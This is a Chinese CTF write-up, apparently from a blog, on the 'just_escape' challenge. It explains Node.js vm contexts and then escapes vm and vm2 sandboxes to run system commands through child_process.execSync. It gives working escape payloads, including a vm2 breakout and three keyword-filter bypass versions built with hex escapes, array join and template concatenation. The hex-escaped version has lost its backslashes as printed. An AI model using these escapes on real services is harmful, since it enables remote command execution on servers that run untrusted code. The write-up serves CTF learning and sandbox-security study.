just_escape解题记录

基础知识

Node.js安装及环境配置之Windows篇
然后看下大佬们所说的考点
vm.js 沙箱逃逸与过滤绕过

什么是vm

通过这篇文章简单理解下nodejs中的虚拟机概念。nodejs虚拟机
虚拟机可以看做一个上下文环境,而所有的函数执行都围绕着沙箱中的变量来进行,不会影响到外部的内容。

runInContext

const vm = require('vm')
const sandbox = {
    boxHuman:'kit',
    boxVar:200,
};

vm.createContext(sandbox)
vm.runInContext('boxVar *= 2',sandbox)
console.log(sandbox)

//{
//  boxHuman: 'kit',
//  boxVar: 400,
//}

在这个简单的例子中我们创建了一个沙箱环境,其中包含了两个变量。在runInContext中指定了运行环境为sandbox,所以最终打印的内容boxVar变为了400。这里沙箱中是不会包含一些全局函数的,我们可以简单的修改代码,尝试利用vm执行打印一段文字。

vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;console.log("打印boxVar的值")',sandbox)
console.log(sandbox)

发现不会执行打印操作。如果需要执行console.log则需要在sandbox中引入这个方法

const sandbox = {
    boxHuman:'kit',
    boxVar:200,
    log:console.log
};

vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;log("打印boxVar的值")',sandbox)
console.log(sandbox)

// 打印boxVar的值
// { boxHuman: 'kit', boxVar: 400, log: [Function: log] }

这样就可以正常使用console.log方法了。

runInThisContext

runInThisContext执行的环境则默认为当前的上下文,里面的变量只能是当前的全局变量与方法。console

// 测试能否改变全局变量
globalVar = 1000 
vm.runInThisContext('globalVar *= 2;');
console.log(globalVar)

// 测试能否改变本地变量
var localVar = 200;
vm.runInThisContext('localVar *= 2');
console.log(localVar)

// 2000
// evalmachine.<anonymous>:1
//     localVar *= 2
//     ^
//
//     ReferenceError: localVar is not defined

通过结果可以看出对全局变量的修改成功而本地变量则报错。

runInNewContext

这个方法类似于runInContext,对上下文环境更严格,只会接受第二个参数传入的变量,外界的全局变量方法都不支持。与new Function用法几乎相同

const sandbox = {
    boxHuman:'kit',
    boxVar:200,
};

vm.runInNewContext('boxVar *= 2',sandbox)
console.log(sandbox)

// 基本等同于
var fn = new Function("boxVar",'boxVar *= 2;')
fn(boxVar)

其余一些性能等问题可以参考上面给出的司徒正美大佬的文章。

vm的安全问题

vm虽然提供了一个上下文环境,但是很容易被逃逸出

const vm = require('vm')
const sandbox = {
    boxHuman:'kit',
    boxVar:200,
};

vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;console.log(boxVar)',sandbox)

同样看刚刚的代码,由于沙箱环境中没有全局方法console,所以不会打印boxVar的值。

const vm = require('vm')
const sandbox = {
    boxHuman:'kit',
    boxVar:200,
};

vm.createContext(sandbox)
vm.runInContext('boxVar *= 2;this.constructor.constructor("a","console.log(a)")(boxVar)',sandbox)
// 400

而通过简单的修改代码,就可以在沙箱环境中使用全局方法console.log。
this.constructor.constructor("a","console.log(a)")(boxVar)
这行代码中this值得是上下文环境Sandbox,而通过this.constructor.constructor就可以获得一个Function对象。
这个Function对象的上下文环境就不仅仅处于Sandbox而是在真正的全局环境中,所以可以调用全局环境的内容。
Function可以用于创建一个函数。
在这里插入图片描述
第前面的参数为传入的内容,而最后一个参数为函数的内容。
在这里插入图片描述
通过这个例子可以看出,一些全局对象通过多次取constructor最终可以获得Function对象。
最终的目标是在沙箱中执行系统命令,payload如下

var res = vm.runInContext('this.constructor.constructor(\'return this.process\')().mainModule.require(\'child_process\').execSync(\'calc.exe\').toString()', sandbox)
console.log(res)

在这里插入图片描述
通过Function获得process,再利用process引入child_process最终调用execSync执行命令。

由于vm保证不了沙箱的执行安全性,所以就有了一些开源的模块用来运行不信任的代码如 sandbox、vm2、jailed 等。关于沙箱安全的问题可以参考https://zhuanlan.zhihu.com/p/35992886这篇文章,由于没怎么写过Nodejs,这里就不深入研究这些模块的安全性了。
github中XmiliaH大佬提交了多种逃逸方法。
vm2逃逸
这篇文章也分析了逃逸的原理
vm2沙箱逃逸分析

just_escape writeup

在这里插入图片描述
进入题目提示可以执行代码,而且暗示不是php语言。
输入Error().stack得到错误的页面
在这里插入图片描述
github中找到大佬的breakout
https://github.com/patriksimek/vm2/issues/225

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

通过测试",'会被拦截
可以替换为重音符号`
替换后发现还是被拦截,继续fuzz过滤的关键字
process,exev,prototype也被拦截
因为fun.a与fun[‘a’]等价,然后对于关键字的过滤一般的绕过方式为编码或者拼接,可以通过两种方式构造。
编码字符

prototyp -->    x70x72x6fx74x6fx74x79x70x65
get_process --> x67x65x74x5fx70x72x6fx63x65x73x73
...
payload:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()}

拼接字符
在这里插入图片描述
数组的join方法拼接字符

(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()

or
在这里插入图片描述
利用${}来拼接

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值